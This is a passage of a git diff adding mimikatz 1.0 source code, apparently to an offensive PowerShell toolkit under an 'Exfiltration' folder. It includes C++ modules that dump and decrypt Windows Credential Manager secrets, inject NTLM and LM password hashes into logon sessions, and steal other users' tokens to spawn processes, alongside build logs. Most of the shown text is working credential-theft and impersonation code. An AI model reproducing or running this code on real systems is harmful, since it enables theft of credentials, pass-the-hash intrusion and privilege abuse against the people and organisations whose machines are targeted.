domainName = mesArguments->at(3); + kiwicreds.LmPasswordPresent = TRUE; + lmHash = mesArguments->at(4); + break; + case 5: + if(mesArguments->at(3).size() == 0x20) + { + idSecAppLow = mesArguments->front(); + userName = mesArguments->at(1); + domainName = mesArguments->at(2); + kiwicreds.LmPasswordPresent = TRUE; + lmHash = mesArguments->at(3); + } + else + { + idSecAppHigh = mesArguments->front(); + idSecAppLow = mesArguments->at(1); + userName = mesArguments->at(2); + domainName = mesArguments->at(3); + } + break; + } + + LUID idApp = mod_text::wstringsToLUID(idSecAppHigh, idSecAppLow); + + if(idApp.LowPart != 0 || idApp.HighPart != 0) + { + if((!kiwicreds.LmPasswordPresent || (lmHash.size() == 0x20)) && ntlmHash.size() == 0x20 && userName.size() <= MAX_USERNAME_LEN && domainName.size() <= MAX_DOMAIN_LEN) + { + mod_text::InitLsaStringToBuffer(&kiwicreds.UserName, userName, kiwicreds.BuffUserName); + mod_text::InitLsaStringToBuffer(&kiwicreds.LogonDomainName, domainName, kiwicreds.BuffDomaine); + if(kiwicreds.LmPasswordPresent) + mod_text::wstringHexToByte(lmHash, kiwicreds.LmOwfPassword); + mod_text::wstringHexToByte(ntlmHash, kiwicreds.NtOwfPassword); + + maReponse << (NT_SUCCESS(NlpAddPrimaryCredential(&idApp, &kiwicreds, sizeof(kiwicreds))) ? L"Injection de données de sécurité réussie :)" : L"Injection de données de sécurité en échec :("); + } + else maReponse << L"Les hashs LM et NTLM doivent faire 32 caractčres, le nom d\'utilisateur et le domaine/poste au maximum 22 caractčres"; + } + else maReponse << L"LUID incorrect !"; + } + else maReponse << L"Format d\'appel invalide : addLogonSession [idSecAppHigh] idSecAppLow Utilisateur {Domaine|Poste} [HashLM] HashNTLM"; + } + else maReponse << L"n.a. (msv KO)"; + + maReponse << endl; + return sendTo(monPipe, maReponse.str()); +} diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.h new file mode 100644 index 0000000..4749573 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0.h @@ -0,0 +1,16 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../sekurlsa.h" +#include "msv1_0_helper.h" + +bool searchMSVFuncs(); +bool WINAPI getMSVLogonData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity); + +__kextdll bool __cdecl getLogonSessions(mod_pipe * monPipe, vector<wstring> * mesArguments); +__kextdll bool __cdecl delLogonSession(mod_pipe * monPipe, vector<wstring> * mesArguments); +__kextdll bool __cdecl addLogonSession(mod_pipe * monPipe, vector<wstring> * mesArguments); diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.cpp new file mode 100644 index 0000000..7ccb8e5 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.cpp @@ -0,0 +1,53 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "msv1_0_helper.h" +DWORD MSV1_0_MspAuthenticationPackageId = 0; + +void NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative) +{ + if(String->Buffer) + String->Buffer = reinterpret_cast<wchar_t *>(reinterpret_cast<ULONG_PTR>(String->Buffer) + ((relative ? -1 : 1) * reinterpret_cast<ULONG_PTR>(BaseAddress))); +} + +NTSTATUS NlpAddPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL Credential, unsigned short CredentialSize) +{ + STRING PrimaryKeyValue, CredentialString; + mod_text::RtlInitString(&PrimaryKeyValue, MSV1_0_PRIMARY_KEY); + + NlpMakeRelativeOrAbsoluteString(Credential, &Credential->UserName); + NlpMakeRelativeOrAbsoluteString(Credential, &Credential->LogonDomainName); + CredentialString.Buffer = reinterpret_cast<char *>(Credential); + CredentialString.MaximumLength = CredentialString.Length = CredentialSize; + SeckPkgFunctionTable->LsaProtectMemory(CredentialString.Buffer, CredentialString.Length); + return SeckPkgFunctionTable->AddCredential(LogonId, MSV1_0_MspAuthenticationPackageId, &PrimaryKeyValue, &CredentialString ); +} + +NTSTATUS NlpGetPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL *Credential, unsigned short *CredentialSize) +{ + ULONG QueryContext = 0, PrimaryKeyLength; + STRING PrimaryKeyValue, CredentialString; + mod_text::RtlInitString(&PrimaryKeyValue, MSV1_0_PRIMARY_KEY); + + NTSTATUS retour = SeckPkgFunctionTable->GetCredentials(LogonId, MSV1_0_MspAuthenticationPackageId, &QueryContext, FALSE, &PrimaryKeyValue, &PrimaryKeyLength, &CredentialString); + if(NT_SUCCESS(retour)) + { + SeckPkgFunctionTable->LsaUnprotectMemory(CredentialString.Buffer, CredentialString.Length); + *Credential = (PMSV1_0_PRIMARY_CREDENTIAL) CredentialString.Buffer; + NlpMakeRelativeOrAbsoluteString(*Credential, &((*Credential)->UserName), false); + NlpMakeRelativeOrAbsoluteString(*Credential, &((*Credential)->LogonDomainName), false); + if (CredentialSize) + *CredentialSize = CredentialString.Length; + } + return retour; +} + +NTSTATUS NlpDeletePrimaryCredential(PLUID LogonId) +{ + STRING PrimaryKeyValue; + mod_text::RtlInitString(&PrimaryKeyValue, MSV1_0_PRIMARY_KEY); + return SeckPkgFunctionTable->DeleteCredential(LogonId, MSV1_0_MspAuthenticationPackageId, &PrimaryKeyValue); +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.h new file mode 100644 index 0000000..e9afd03 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Security Packages/msv1_0_helper.h @@ -0,0 +1,28 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../sekurlsa.h" + +#define MSV1_0_PRIMARY_KEY "Primary" +extern DWORD MSV1_0_MspAuthenticationPackageId; + +typedef struct _MSV1_0_PRIMARY_CREDENTIAL { + LSA_UNICODE_STRING LogonDomainName; + LSA_UNICODE_STRING UserName; + BYTE NtOwfPassword[0x10]; + BYTE LmOwfPassword[0x10]; + BOOLEAN NtPasswordPresent; + BOOLEAN LmPasswordPresent; + wchar_t BuffDomaine[MAX_DOMAIN_LEN]; + wchar_t BuffUserName[MAX_USERNAME_LEN]; +} MSV1_0_PRIMARY_CREDENTIAL, *PMSV1_0_PRIMARY_CREDENTIAL; + +void NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative = true); + +NTSTATUS NlpAddPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL Credential, unsigned short CredentialSize); +NTSTATUS NlpGetPrimaryCredential(PLUID LogonId, PMSV1_0_PRIMARY_CREDENTIAL *Credential, unsigned short *CredentialSize); +NTSTATUS NlpDeletePrimaryCredential(PLUID LogonId); diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.read.1.tlog Binary files differnew file mode 100644 index 0000000..af1843d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.write.1.tlog Binary files differnew file mode 100644 index 0000000..065c191 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/CL.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/cl.command.1.tlog Binary files differnew file mode 100644 index 0000000..662e27d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/cl.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.read.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.read.1.tlog @@ -0,0 +1 @@ +˙ţ
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.write.1.tlog new file mode 100644 index 0000000..46b134b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link-cvtres.write.1.tlog @@ -0,0 +1 @@ +˙ţ
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.command.1.tlog Binary files differnew file mode 100644 index 0000000..8bfc485 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.read.1.tlog Binary files differnew file mode 100644 index 0000000..a090f02 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.write.1.tlog Binary files differnew file mode 100644 index 0000000..3c62e5a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/link.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.command.1.tlog Binary files differnew file mode 100644 index 0000000..a61d64e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.read.1.tlog Binary files differnew file mode 100644 index 0000000..c2411f0 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.write.1.tlog Binary files differnew file mode 100644 index 0000000..0c67d61 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/mt.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.command.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.command.1.tlog Binary files differnew file mode 100644 index 0000000..52d7b3d --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.command.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.read.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.read.1.tlog Binary files differnew file mode 100644 index 0000000..465eb7a --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.read.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.write.1.tlog Binary files differnew file mode 100644 index 0000000..9befde9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/rc.write.1.tlog diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.dll.intermediate.manifest b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.dll.intermediate.manifest new file mode 100644 index 0000000..ecea6f7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.dll.intermediate.manifest @@ -0,0 +1,10 @@ +<?xml version='1.0' encoding='UTF-8' standalone='yes'?> +<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'> + <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"> + <security> + <requestedPrivileges> + <requestedExecutionLevel level='asInvoker' uiAccess='false' /> + </requestedPrivileges> + </security> + </trustInfo> +</assembly> diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.lastbuildstate b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.lastbuildstate new file mode 100644 index 0000000..4d28193 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.lastbuildstate @@ -0,0 +1,2 @@ +#v4.0:v100 +Release|Win32|C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\| diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.res b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.res Binary files differnew file mode 100644 index 0000000..d0ba1dd --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.res diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.write.1.tlog b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.write.1.tlog new file mode 100644 index 0000000..929c472 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/Win32/sekurlsa.write.1.tlog @@ -0,0 +1,5 @@ +^C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\librairies\sekurlsa\sekurlsa.vcxproj +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\sekurlsa.lib +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\sekurlsa.lib +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\sekurlsa.exp +C:\Github\PowerShellExperimental\Invoke-Mimikatz\mimikatz-1.0\Win32\sekurlsa.exp diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.cpp new file mode 100644 index 0000000..fe846b4 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.cpp @@ -0,0 +1,180 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "credman.h" + +PCRED_I_ENUMERATE CredIEnumerate = NULL; + +bool searchCredmanFuncs() +{ +#ifdef _M_X64 + BYTE PTRN_WIN5_CrediEnumerate[] = {0x48, 0x8b, 0xc4, 0x48, 0x81, 0xec, 0xb8, 0x00, 0x00, 0x00, 0x48, 0x89, 0x70, 0xe8, 0x48, 0x89, 0x78, 0xe0, 0x4c, 0x89, 0x60, 0xd8, 0x45, 0x33, 0xe4}; + LONG OFFS_WIN5_CrediEnumerate = 0; + BYTE PTRN_WNO8_CrediEnumerate[] = {0x48, 0x81, 0xec, 0xd0, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x45, 0x33, 0xed}; + LONG OFFS_WNO8_CrediEnumerate = -22; + BYTE PTRN_WIN8_CrediEnumerate[] = {0x48, 0x81, 0xec, 0xe0, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x45, 0x33, 0xed}; + LONG OFFS_WIN8_CrediEnumerate = -30; +#elif defined _M_IX86 + BYTE PTRN_WIN5_CrediEnumerate[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x24, 0x53, 0x33, 0xdb, 0x57, 0x33, 0xc0}; + BYTE PTRN_WN60_CrediEnumerate[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x40, 0x33, 0xc9}; + BYTE PTRN_WN61_CrediEnumerate[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x83, 0xec, 0x44, 0x33, 0xc0}; + BYTE PTRN_WN62_CrediEnumerate[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x81, 0xec, 0x80, 0x00, 0x00, 0x00, 0x33, 0xc0}; + LONG OFFS_WALL_CrediEnumerate = 0; +#endif + + if(!CredIEnumerate) + { + PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0; +#ifdef _M_X64 + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + pattern = PTRN_WIN5_CrediEnumerate; + taille = sizeof(PTRN_WIN5_CrediEnumerate); + offset = OFFS_WIN5_CrediEnumerate; + } + else + { + if (mod_system::GLOB_Version.dwMinorVersion < 2) + { + pattern = PTRN_WNO8_CrediEnumerate; + taille = sizeof(PTRN_WNO8_CrediEnumerate); + offset = OFFS_WNO8_CrediEnumerate; + } + else + { + pattern = PTRN_WIN8_CrediEnumerate; + taille = sizeof(PTRN_WIN8_CrediEnumerate); + offset = OFFS_WIN8_CrediEnumerate; + } + } +#elif defined _M_IX86 + if(mod_system::GLOB_Version.dwMajorVersion < 6) + { + pattern = PTRN_WIN5_CrediEnumerate; + taille = sizeof(PTRN_WIN5_CrediEnumerate); + } + else + { + if(mod_system::GLOB_Version.dwMinorVersion < 1) + { + pattern = PTRN_WN60_CrediEnumerate; + taille = sizeof(PTRN_WN60_CrediEnumerate); + } + else if (mod_system::GLOB_Version.dwMinorVersion < 2) + { + pattern = PTRN_WN61_CrediEnumerate; + taille = sizeof(PTRN_WN61_CrediEnumerate); + } + else + { + pattern = PTRN_WN62_CrediEnumerate; + taille = sizeof(PTRN_WN62_CrediEnumerate); + } + } + offset = OFFS_WALL_CrediEnumerate; +#endif + mod_memory::genericPatternSearch(reinterpret_cast<PBYTE *>(&CredIEnumerate), L"lsasrv", pattern, taille, offset, NULL, true, true); + } + return (searchLSAFuncs() && CredIEnumerate); +} + +__kextdll bool __cdecl getCredmanFunctions(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + wostringstream monStream; + monStream << L"** lsasrv.dll ** ; Statut recherche : " << (searchCredmanFuncs() ? L"OK :)" : L"KO :(") << endl << endl << + L"@CredIEnumerate = " << CredIEnumerate << endl << + L"@LsaUnprotectMemory = " << SeckPkgFunctionTable->LsaUnprotectMemory << endl; + return sendTo(monPipe, monStream.str()); +} + +__kextdll bool __cdecl getCredman(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + vector<pair<PFN_ENUM_BY_LUID, wstring>> monProvider; + monProvider.push_back(make_pair<PFN_ENUM_BY_LUID, wstring>(getCredmanData, wstring(L"credman"))); + return getLogonData(monPipe, mesArguments, &monProvider); +} + +bool WINAPI getCredmanData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity) +{ + wostringstream message; + if(searchCredmanFuncs()) + { + DWORD credNb = 0; + PCREDENTIAL * pCredential = NULL; + DWORD CredIEnumerateFlags = (mod_system::GLOB_Version.dwMajorVersion < 6) ? 0 : CRED_ENUMERATE_ALL_CREDENTIALS; + NTSTATUS status = (mod_system::GLOB_Version.dwBuildNumber < 8000 ) ? CredIEnumerate(logId, 0, NULL, CredIEnumerateFlags, &credNb, &pCredential) : reinterpret_cast<PCRED_I_ENUMERATE62>(CredIEnumerate)(logId, NULL, CredIEnumerateFlags, &credNb, &pCredential); + + if(NT_SUCCESS(status)) + { + for(DWORD i = 0; i < credNb; i++) + { + wstring Target(pCredential[i]->TargetName); + wstring ShortTarget = (mod_system::GLOB_Version.dwMajorVersion < 6) ? Target : Target.substr(Target.find_first_of(L'=') + 1); + + message << endl; + if(justSecurity) + message << L"\t [" << i << L"] " << Target << L'\t'; + else message << + L"\t * [" << i << L"] Target : " << Target << L" / " << (pCredential[i]->TargetAlias ? pCredential[i]->TargetAlias : L"<NULL>") << endl << + L"\t * [" << i << L"] Comment : " << (pCredential[i]->Comment ? pCredential[i]->Comment : L"<NULL>") << endl << + L"\t * [" << i << L"] User : " << (pCredential[i]->UserName ? pCredential[i]->UserName : L"<NULL>") << endl; + + if((pCredential[i]->Type != CRED_TYPE_GENERIC) && (pCredential[i]->Type != CRED_TYPE_GENERIC_CERTIFICATE)) + { + CREDENTIAL_TARGET_INFORMATION mesInfos = {const_cast<wchar_t *>(ShortTarget.c_str()), NULL, NULL, NULL, NULL, NULL, NULL, pCredential[i]->Flags, 0 , NULL}; + DWORD dwNbCredentials; + PENCRYPTED_CREDENTIALW * pEncryptedCredential; + NTSTATUS status = SeckPkgFunctionTable->CrediReadDomainCredentials(logId, CREDP_FLAGS_IN_PROCESS, &mesInfos, 0, &dwNbCredentials, &pEncryptedCredential); + if(status == STATUS_INVALID_PARAMETER) + { + mesInfos.Flags |= CRED_TI_USERNAME_TARGET; + status = SeckPkgFunctionTable->CrediReadDomainCredentials(logId, CREDP_FLAGS_IN_PROCESS, &mesInfos, 0, &dwNbCredentials, &pEncryptedCredential); + } + if(NT_SUCCESS(status)) + { + for(DWORD j = 0; j < dwNbCredentials ; j++) + { + wostringstream prefix; prefix << L"[" << j << L"] "; + message << descEncryptedCredential(pEncryptedCredential[j], justSecurity, prefix.str()); + } + SeckPkgFunctionTable->CrediFreeCredentials(dwNbCredentials, pEncryptedCredential); + } + else message << L"Erreur CrediReadDomainCredentials : " << mod_system::getWinError(false, status); + } + else + { + PENCRYPTED_CREDENTIALW pEncryptedCredential; + NTSTATUS status = SeckPkgFunctionTable->CrediRead(logId, CREDP_FLAGS_IN_PROCESS, const_cast<wchar_t *>(ShortTarget.c_str()), pCredential[i]->Type, 0, &pEncryptedCredential); + if(NT_SUCCESS(status)) + { + message << descEncryptedCredential(pEncryptedCredential, justSecurity); + CredFree(pEncryptedCredential); + } + else message << L"Erreur CrediRead : " << mod_system::getWinError(false, status); + } + } + CredFree(pCredential); + } + else message << L"CredIEnumerate KO : " << mod_system::getWinError(false, status); + } else message << L"n.a. (credman KO)"; + return sendTo(monPipe, message.str()); +} + +wstring descEncryptedCredential(PENCRYPTED_CREDENTIALW pEncryptedCredential, __in bool justSecurity, wstring prefix) +{ + wostringstream monStream; + + LSA_UNICODE_STRING encryptedPassword = {pEncryptedCredential->Cred.CredentialBlobSize, pEncryptedCredential->Cred.CredentialBlobSize, reinterpret_cast<PWSTR>(pEncryptedCredential->Cred.CredentialBlob)}; + wstring cred = getPasswordFromProtectedUnicodeString(&encryptedPassword); + + if(justSecurity) + monStream << L"- {" << pEncryptedCredential->Cred.UserName << L" ; " << cred << L" } "; + else monStream << + L"\t " << prefix << L"User : " << pEncryptedCredential->Cred.UserName << endl << + L"\t " << prefix << L"Cred : " << cred << endl; + + return monStream.str(); +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.h new file mode 100644 index 0000000..60d1249 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/credman.h @@ -0,0 +1,19 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../sekurlsa.h" + +bool searchCredmanFuncs(); +__kextdll bool __cdecl getCredmanFunctions(mod_pipe * monPipe, vector<wstring> * mesArguments); +__kextdll bool __cdecl getCredman(mod_pipe * monPipe, vector<wstring> * mesArguments); +bool WINAPI getCredmanData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity); + +wstring descEncryptedCredential(PENCRYPTED_CREDENTIALW pEncryptedCredential, __in bool justSecurity, wstring prefix = L""); + +typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE) (IN PLUID pLUID, IN DWORD unk0, IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials); +typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE62) (IN PLUID pLUID, IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials); + diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.cpp b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.cpp new file mode 100644 index 0000000..7284da7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.cpp @@ -0,0 +1,88 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "incognito.h" + +bool searchIncognitoFuncs() +{ + return searchLSAFuncs(); +} + +__kextdll bool __cdecl find_tokens(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + vector<pair<PFN_ENUM_BY_LUID, wstring>> monProvider; + monProvider.push_back(make_pair<PFN_ENUM_BY_LUID, wstring>(getTokenData, wstring(L"token"))); + return getLogonData(monPipe, mesArguments, &monProvider); +} + +__kextdll bool __cdecl incognito(mod_pipe * monPipe, vector<wstring> * mesArguments) +{ + wostringstream monStream; + if(searchIncognitoFuncs()) + { + if(!mesArguments->empty() && ((mesArguments->size() == 3) || (mesArguments->size() == 4))) + { + wstring idSecAppHigh = L"0", idSecAppLow = mesArguments->front(), session = mesArguments->at(1), maLigne = mesArguments->back(); + if(mesArguments->size() == 4) + { + idSecAppHigh = idSecAppLow; + idSecAppLow = mesArguments->at(1); + session = mesArguments->at(2); + } + LUID monLUID = mod_text::wstringsToLUID(idSecAppHigh, idSecAppLow); + DWORD maSession = _wtoi(session.c_str()); + HANDLE monToken; + monStream << L" * OpenTokenByLogonId({" << monLUID.LowPart << L";" << monLUID.HighPart << L"}) : "; + NTSTATUS status = SeckPkgFunctionTable->OpenTokenByLogonId(&monLUID, &monToken); + if(NT_SUCCESS(status)) + { + monStream << L"OK !" << endl << + L" * SetTokenInformation(TokenSessionId@" << maSession << L") : "; + if(SetTokenInformation(monToken, TokenSessionId, &maSession, sizeof(DWORD)) != 0) + { + monStream << L"OK !" << endl << + L" * CreateProcessAsUser(Token@{" << monLUID.LowPart << L";" << monLUID.HighPart << L"}, TokenSessionId@" << maSession << L", \"" << maLigne << L"\") : "; + PROCESS_INFORMATION mesInfosProcess; + if(mod_process::start(&maLigne, &mesInfosProcess, false, false, monToken)) + { + monStream << L"OK - pid = " << mesInfosProcess.dwProcessId << endl; + CloseHandle(mesInfosProcess.hThread); + CloseHandle(mesInfosProcess.hProcess); + } + else monStream << L"KO - " << mod_system::getWinError() << endl; + CloseHandle(monToken); + } + else monStream << L"KO - " << mod_system::getWinError() << endl; + } + else monStream << L"KO - " << mod_system::getWinError(false, status) << endl; + } + else monStream << L"Format d\'appel invalide : incognito [idSecAppHigh] idSecAppLow sessionDst ligneDeCommande" << endl; + } + return sendTo(monPipe, monStream.str()); +} + +bool WINAPI getTokenData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity) +{ + wostringstream monStream; + if(searchIncognitoFuncs()) + { + HANDLE monToken; + NTSTATUS status = SeckPkgFunctionTable->OpenTokenByLogonId(logId, &monToken); + if(NT_SUCCESS(status)) + { + monStream << L"Disponible !"; + DWORD maSession, tailleRetournee; + if(GetTokenInformation(monToken, TokenSessionId, &maSession, sizeof(DWORD), &tailleRetournee) != 0) + { + monStream << L" - session d\'origine " << maSession; + CloseHandle(monToken); + } + else monStream << L"Indisponible - SetTokenInformation KO : " << mod_system::getWinError() << endl; + } + else monStream << L"OpenTokenByLogonId KO : " << mod_system::getWinError(false, status) << endl; + } + return sendTo(monPipe, monStream.str()); +}
\ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.h b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.h new file mode 100644 index 0000000..a8eae58 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/librairies/sekurlsa/modules/incognito.h @@ -0,0 +1,13 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ + Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "../sekurlsa.h" + +bool searchIncognitoFuncs(); +__kextdll bool __cdecl find_tokens(mod_pipe * monPipe, vector<wstring> * mesArguments); +__kextdll bool __cdecl incognito(mod_pipe * monPipe, vector<wstring> * mesArguments); +bool WINAPI getTokenData(__in PLUID logId, __in mod_pipe * monPipe, __in bool justSecurity);
